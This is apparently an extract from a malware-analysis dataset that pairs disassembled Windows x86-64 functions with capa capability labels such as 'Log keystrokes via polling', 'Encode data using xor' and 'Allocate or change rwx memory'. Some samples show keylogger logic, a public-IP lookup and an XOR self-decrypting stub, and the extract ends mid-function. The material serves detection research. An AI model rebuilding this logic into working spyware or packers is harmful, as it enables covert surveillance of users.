joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001870
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.IP_Finder
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__api.ipify.org
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 0xf
mov byte [rbx], bpl
mov dword [rsp + 0x30], 1
test rax, rax
je 0x140001978
lea r9, [rsp + 0x40]
mov r8d, 0x7f
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000196f
nop dword [rax + rax]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000196f
cmp rax, 0x80
jae 0x1400019ad
mov byte [rsp + rax + 0x50], 0
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140004f00
lea r9, [rsp + 0x40]
mov r8d, 0x7f
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001930
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rbx
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.140006390
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400064c0
int3
Function at 0x1400044f0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140004518
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000453e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004540
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140004599
test ecx, ecx
jle 0x140004579
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140004599
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004599
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x1400045c0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400045e2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400045f8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004614
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004616
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004652
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400046ee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000468d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400046ce
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400046ee
cmp rbx, rax
ja 0x1400046a0
test rbx, rbx
je 0x1400046ee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140004b50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140004b7d
xor eax, eax
jmp 0x140004ce9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140004bb7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140004bb7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140004ce9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140004cdc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140004bfa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140004c25
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140004ce1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004c94
sub eax, 1
je 0x140004c94
cmp eax, 2
jne 0x140004cdc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140004ce1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140004cc2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140004cdc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140004ce1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140006390
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400051f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400052c3
cmp byte [rcx + 0x71], 0
je 0x1400052c3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400052bf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005284
sub eax, 1
je 0x140005288
cmp eax, 2
jne 0x1400052bf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140006390
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400052b6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400052bf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000526c
xor al, al
jmp 0x14000526c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140006390
add rsp, 0x60
pop rbx
ret

Function at 0x140006f0c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006f56
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006f56
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006f56
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006f56
cmp dword [rcx + 0x84], 0xe
jbe 0x140006f56
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006f58
xor al, al
add rsp, 0x28
ret
Function at 0x1000170f0
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x10001a100]
jne 0x10001710b
rol rcx, 0x10
test cx, 0xffff
jne 0x100017107
ret 0
ror rcx, 0x10
jmp 0x100017530
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x10001d130]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x10001d228]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1000175b5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x10001d130]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x1000175d7
mov rax, qword [rsp + 0x88]
mov qword [0x10001d228], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x10001d1c8], rax
mov rax, qword [0x10001d228]
mov qword [0x10001d0a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x10001d1b0], rax
mov dword [0x10001d090], 0xc0000409
mov dword [0x10001d094], 1
mov rax, qword [0x10001a100]
mov qword [rsp + 0x68], rax
mov rax, qword [0x10001a108]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1000015d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1000173cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100017419
cmp rcx, 0xffffffffffffffff
je 0x100017419
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x100017411
cmp dword [rcx + 0x3c], edx
jl 0x100017411
cmp dword [rcx + 0x3c], 0x10000000
jae 0x100017411
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100017419
mov rax, rdx
add rsp, 0x18
ret

Function at 0x1410deca0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1410decaa
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1410decd3
pop rbp
sub rbp, 0x33
sub rbp, 0x10deca0
sub rsp, 0x20
jmp 0x1410decf2
mov rax, 0x10deca0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x77e320ec
xor byte [rax], dl
inc rax
dec rcx
jne 0x1410ded11
jmp 0x1410ded28
movsb byte [rdi], byte [rsi]
add eax, 0xecd06567
in al, dx
in al, dx
movsb byte [rdi], byte [rsi]
insd dword [rdi], dx
sub eax, 0xececede4
movsb byte [rdi], byte [rsi]
in eax, dx
add eax, 0xeb2c2ba4
in al, dx
in al, dx
in al, dx
movsb byte [rdi], byte [rsi]
sub ebp, dword [rsi]
invalid
Function at 0x1400021dc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140004650], rbx
je 0x140002228
cmp rax, rbx
jne 0x14000221b
mov ebx, 1
mov esi, ebx
jmp 0x14000222d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002200
mov ebx, 1
mov eax, dword [0x140004658]
cmp eax, ebx
jne 0x140002243
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400022a8
mov eax, dword [0x140004658]
test eax, eax
jne 0x1400022a2
mov dword [0x140004658], ebx
lea r15, [0x1400033b0]
lea rdi, [0x140003398]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140002294
test eax, eax
jne 0x140002298
cmp qword [rdi], 0
je 0x140002289
mov rax, qword [rdi]
mov rcx, qword [0x140003378]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000226a
test eax, eax
je 0x1400022a8
mov eax, 0xff
jmp 0x140002384
mov dword [0x140004064], ebx
mov eax, dword [0x140004658]
cmp eax, ebx
jne 0x1400022cf
lea rdx, [0x140003390]
lea rcx, [0x140003380]
call sub.msvcrt.dll__initterm
mov dword [0x140004658], 2
test esi, esi
jne 0x1400022dc
xor eax, eax
xchg qword [0x140004650], rax
cmp qword [0x140004660], 0
je 0x140002310
lea rcx, [0x140004660]
call fcn.140002540
test eax, eax
je 0x140002310
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140004660]
mov r9, qword [0x140003378]
call r9
mov r8, qword [0x140004078]
mov rdx, qword [0x140004070]
mov ecx, dword [0x140004068]
call fcn.140001800
mov dword [0x140004060], eax
cmp dword [0x140004080], 0
jne 0x140002340
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140004064], 0
jne 0x140002355
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140004060]
jmp 0x140002384
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140154000
add rsp, 0x28
jmp 0x1400021dc

Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000249c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140002494
cmp dword [rcx + 0x3c], edx
jl 0x140002494
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140002494
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000249c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x18000a110
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
and qword [rbp + 0x30], 0
and qword [rbp + 0x38], 0
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x20], 0
call sub.msvcrt.dll_memset
mov rcx, qword [0x180031098]
and qword [rbp + 0x40], 0
test rcx, rcx
je 0x18000a2ca
mov eax, dword [0x1800310a8]
test eax, eax
je 0x18000a2ca
mov byte [rax + rcx], 0
mov edx, dword [0x1800310a8]
mov rcx, qword [0x180031098]
xor r8d, r8d
call fcn.18001a934
cmp eax, dword [0x1800310a0]
mov ebx, eax
jne 0x18000a1a3
mov r8d, dword [0x1800310a8]
mov rcx, qword [0x180031098]
xor edx, edx
call fcn.1800199b0
jmp 0x18000a2bc
mov rcx, qword [0x180031060]
test rcx, rcx
je 0x18000a1c0
lea rdx, [rsp + 0x20]
mov r8d, 0x100
call qword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.18001b790
mov qword [rbp + 0x30], rax
test rax, rax
je 0x18000a2bc
lea rcx, [0x180032c20]
call fcn.18001a340
mov rdx, qword [0x1800363b8]
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x40], rax
call fcn.18001b810
mov rdx, qword [0x1800361e0]
mov rcx, qword [rbp + 0x30]
call fcn.18001b8c0
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x30]
call fcn.18001b8c0
mov rdx, qword [0x1800363a0]
mov rcx, qword [rbp + 0x30]
call fcn.18001b8c0
mov rcx, qword [rbp + 0x30]
lea rdx, [rsp + 0x20]
call fcn.18001b8c0
mov rdx, qword [0x1800362d8]
mov rcx, qword [rbp + 0x30]
call fcn.18001b8c0
call fcn.18000a00c
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x38], rax
test rax, rax
je 0x18000a26f
mov rdx, rax
call fcn.18001b8c0
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rbp + 0x38]
movsxd rdx, eax
call fcn.180019590
jmp 0x18000a290
mov rdx, qword [0x180031098]
call fcn.18001b8c0
mov r8d, dword [0x1800310a8]
mov rcx, qword [0x180031098]
xor edx, edx
call fcn.1800199b0
mov rcx, qword [rbp + 0x30]
lea rdx, [0x18002368c]
call fcn.18001b8c0
lea rcx, [rbp + 0x30]
call fcn.18001bcb0
lea rcx, [rbp + 0x40]
or rdx, 0xffffffffffffffff
call fcn.180019590
mov dword [0x1800310a0], ebx
and dword [0x1800310a4], 0
and dword [0x1800310a8], 0
mov rbx, qword [rsp + 0x148]
add rsp, 0x120
pop rbp
ret
Function at 0x18000a3e0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x30]
sub rsp, 0x130
movzx ebx, word [rcx + 0x18]
mov rdi, rcx
mov ecx, 0x8ff
call fcn.180019e7c
xor r12d, r12d
mov qword [rbp + 0x70], rax
test rax, rax
je 0x18000a4e9
mov ecx, 0x451
call fcn.180019e7c
mov qword [rbp + 0x78], rax
test rax, rax
je 0x18000a4e9
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rbp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x70]
mov rsi, rax
call fcn.180019f60
lea rcx, [rbp + 0x78]
call fcn.180019f60
test rsi, rsi
je 0x18000a4e9
call rsi
lea rcx, [0x180031058]
mov qword [0x180031060], rax
call fcn.180019d34
mov rcx, qword [rdi + 0x10]
cmp rcx, 0xd
jne 0x18000a486
call fcn.18000a110
jmp 0x18000a4e9
mov edx, ebx
mov word [rbp + 0x68], r12w
call fcn.18000a2dc
test eax, eax
jne 0x18000a4e9
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov r11d, dword [rdi + 0x18]
mov ecx, dword [rdi + 0x10]
sar r11, 0x10
lea r9, [rbp + 0x68]
lea r8, [rsp + 0x30]
movzx edx, r11b
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_ToAscii]
movzx r11d, word [rbp + 0x68]
mov byte [rbp + 0x60], r11b
test r11b, r11b
je 0x18000a4e9
test ebx, ebx
je 0x18000a4e9
lea rcx, [rbp + 0x60]
mov edx, 1
call fcn.180009f14
dec rbx
jne 0x18000a4d6
add rsp, 0x130
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x18000a9c0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
cmp rsi, 0x40000000
jbe 0x18000aa07
lea rax, [rsi - 0x40000000]
cmp rdi, rax
cmovb rdi, rax
mov rbx, qword [0x180035e50]
lea rax, [rsi + 0x40000000]
cmp rbp, rax
cmova rbp, rax
sub rbp, 0xfff
test rbx, rbx
je 0x18000aa42
cmp rbx, rdi
jb 0x18000aa3d
cmp rbx, rbp
jae 0x18000aa3d
cmp qword [rbx + 8], 0
jne 0x18000ab0f
mov rbx, qword [rbx]
jmp 0x18000aa23
mov r12, rsi
cmp rsi, rdi
jb 0x18000aa89
mov r8d, dword [rsp + 0x48]
mov rdx, rdi
mov rcx, r12
call fcn.18000a8c0
mov r12, rax
test rax, rax
je 0x18000aa89
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000aacf
cmp r12, rdi
jae 0x18000aa4a
test rbx, rbx
jmp 0x18000aac6
mov r8d, dword [rsp + 0x48]
mov rdx, rbp
mov rcx, rsi
call fcn.18000a934
mov rsi, rax
test rax, rax
je 0x18000ab0f
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000aacf
cmp rsi, rbp
jbe 0x18000aa8e
jmp 0x18000ab0f
and qword [rbx + 8], 0
and dword [rbx + 0x10], 0
lea rcx, [rbx + 0x40]
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x18000aae2
mov rax, qword [0x180035e50]
mov qword [rbx], rax
mov qword [0x180035e50], rbx
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop r12
ret
Function at 0x18000b49c
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call qword [0x180035f98]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000b591
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
jmp 0x18000b580
cmp dword [rsp + 0x20], 0x10
jb 0x18000b56b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x18000b56b
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x18000b56b
mov r8, qword [rbx]
test r8, r8
jne 0x18000b52c
mov dword [rbx + 8], 0x80
mov rcx, qword [0x1800310f8]
xor edx, edx
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x18000b588
jmp 0x18000b55b
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x18000b55b
mov rcx, qword [0x1800310f8]
lea r9d, [rax + rax]
xor edx, edx
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x18000b588
mov ecx, dword [rbx + 8]
mov qword [rbx], rax
add ecx, ecx
mov dword [rbx + 8], ecx
mov edx, dword [rbx + 0xc]
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rcx + rdx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x18000b4db
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x18000b59c
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
and qword [rcx], 0
and dword [rcx + 8], 0
and dword [rcx + 0xc], 0
mov r12d, r8d
mov r13d, edx
mov rbx, rcx
call fcn.18000b49c
cmp qword [rbx], 0
je 0x18000b622
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x18000b622
xor esi, esi
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rsi]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x18000b617
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, r12d
mov edx, r13d
mov rcx, rbp
call fcn.18000b39c
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, dword [rbx + 0xc]
jb 0x18000b5dd
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x18000b63c
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x18000b6ab
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x18000b699
xor esi, esi
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rsi + rax]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x18000b68e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, dword [rbx + 0xc]
jb 0x18000b662
mov r8, qword [rbx]
mov rcx, qword [0x1800310f8]
xor edx, edx
